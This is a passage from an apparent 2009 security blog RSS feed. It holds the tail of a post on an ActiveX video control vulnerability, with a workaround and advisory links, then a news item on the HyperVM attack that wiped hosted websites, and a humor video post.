<p><div id="attachment_377" class="wp-caption alignnone" style="width: 642px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/07/gpedit3.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/07/gpedit3.jpg" alt="gpedit" title="gpedit3" width="632" height="507" class="size-full wp-image-377" /></a><p class="wp-caption-text">gpedit</p></div><br /></p>

<p>Once you link the policy to all your Windows XP and Windows Server 2003 computers, you will have implemented the workaround. </p>

<h4>Active X</h4>

<p>ActiveX, while largely associated with Internet browsing, is not a program that runs inside the browser but rather a technology used throughout the Windows operating system. While only Windows XP and certain configurations of Windows Server 2003 are affected a similar control does exist in Windows Vista and Server 2008 that is not vulnerable.</p>

<h4>Example Exploits</h4>

<p>Both links provide example exploit code:</p>

<ul>
<li><a href="http://www.rec-sec.com/2009/07/06/ms-directshow-msvidctl-exploit/">http://www.rec-sec.com/2009/07/06/ms-directshow-msvidctl-exploit/</a></li>
<li><a href="http://www.csis.dk/en/news/news.asp?tekstID=799">http://www.csis.dk/en/news/news.asp?tekstID=799</a></li>
</ul>

<h4>References</h4>

<ul>
<li><a href="http://www.microsoft.com/technet/security/advisory/972890.mspx">Microsoft Security Advisory (972890)</a></li>
<li><a href="http://blog.trendmicro.com/zero-day-microsoft-directshow-mpeg2tunerequest-exploit-leads-to-killav-malware/">Zero-day MPEG2TuneRequest Exploit Leads to KILLAV</a></li>
<li><a href="http://blogs.technet.com/srd/archive/2009/07/06/new-vulnerability-in-mpeg2tunerequest-activex-control-object-in-msvidctl-dll.aspx">Microsoft Security Research &amp; Defense</a></li>
<li><a href="http://www.symantec.com/connect/blogs/another-unpatched-vulnerability-being-massively-exploited-internet-explorer">Another Unpatched Vulnerability is Being Massively Exploited via Internet Explorer</a></li>
</ul>

<h4>Vulnerability Cross Reference</h4>

<ul>
<li><a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0015">CVE-2008-0015</a></li>
<li>Bugtraq ID: <a href="http://www.securityfocus.com/bid/35558">35558</a></li>
<li>US-CERT Cyber Security Alert: <a href="http://www.us-cert.gov/cas/techalerts/TA09-187A.html">TA09-187A</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/07/turning-an-atm-into-a-slot-machine/">Turning an ATM into a Slot Machine</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/07/microsoft-video-activex-control-vulnerability/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Warnings Ignored, Thousands of Websites Suffer</title>
		<link>http://praetorianprefect.com/archives/2009/06/warnings-ignored-thousands-of-websites-suffer/</link>
		<comments>http://praetorianprefect.com/archives/2009/06/warnings-ignored-thousands-of-websites-suffer/#comments</comments>
		<pubDate>Fri, 12 Jun 2009 20:27:57 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=314</guid>
		<description><![CDATA[“We have been working diligently to recover the information that we can. Currently if your VPS is not responding it is best to consider that all data and information is lost…” This is the start of a message posted on VAServ’s website, a UK-based provider of virtual private servers.  VAServ uses HyperVM,  a virtualization application [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 0in 10pt;"><span style="font-family: Calibri; font-size: small;">“We have been working diligently to recover the information that we can. Currently if your VPS is not responding it is best to consider that all data and information is lost…” This is the start of a message posted on VAServ’s website, a UK-based provider of virtual private servers.<span style="mso-spacerun: yes;">  </span>VAServ uses HyperVM,<span style="mso-spacerun: yes;">  </span>a virtualization application developed by Bangalore-based LxLabs, which was found to contain critical vulnerabilities that led to a 0-day data destroying attack leaving many clients in the dark.<span style="mso-spacerun: yes;">  </span>A <a href="http://www.theregister.co.uk/2009/06/08/webhost_attack/">report</a> from The Register states that as many as 100,000 websites were destroyed, most without an option of any kind of data restore. The vulnerabilities were <a href="http://www.milw0rm.com/exploits/8880">posted</a> on May 21 and the timeline suggests the software vendor had ignored the warnings. Additionally, LxLabs founder and owner K.T. Ligesh committed suicide this week by hanging himself.<span style="mso-spacerun: yes;">  </span>His best friend reported Ligesh was depressed over losing an important contract.</span></p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/first-patch-tuesday-of-2010/">First Patch Tuesday of 2010</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/06/warnings-ignored-thousands-of-websites-suffer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CollegeHumor explores the concept of real life tweeting</title>
		<link>http://praetorianprefect.com/archives/2009/05/collegehumor-explores-the-concept-of-real-life-tweeting/</link>
		<comments>http://praetorianprefect.com/archives/2009/05/collegehumor-explores-the-concept-of-real-life-tweeting/#comments</comments>
		<pubDate>Fri, 01 May 2009 23:33:26 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Social Networking]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=181</guid>
		<description><![CDATA[What if you walked through life providing twarcissistic updates as some are wont to do on Twitter. CollegeHumor.com explores what this might look like.]]></description>
			<content:encoded><![CDATA[<p>What if you walked through life providing twarcissistic updates as some are wont to do on Twitter. CollegeHumor.com explores what this might look like:</p>

<p><object type="application/x-shockwave-flash" data="http://www.collegehumor.com/moogaloop/moogaloop.swf?clip_id=1909386&#038;fullscreen=1" width="640" height="360" ><param name="allowfullscreen" value="true"/><param name="wmode" value="transparent"/><param name="AllowScriptAccess" value="true"/><param name="movie" quality="best" value="http://www.collegehumor.com/moogaloop/moogaloop.swf?clip_id=1909386&#038;fullscreen=1"/><embed src="http://www.collegehumor.com/moogaloop/moogaloop.swf?clip_id=1909386&#038;fullscreen=1" type="application/x-shockwave-flash" wmode="transparent"  width="640" height="360"  allowScriptAccess="always"></embed></object></p>

<div style="padding:5px 0; text-align:center; width:640px;">Watch <a href="http://www.collegehumor.com/video:1909386">Real Life Twitter</a> and more <a href="http://www.collegehumor.com/videos" >funny videos</a> on <a href="http://www.collegehumor.com/">CollegeHumor</a></div>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/">Persistent XSS on Twitter.com</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/05/collegehumor-explores-the-concept-of-real-life-tweeting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
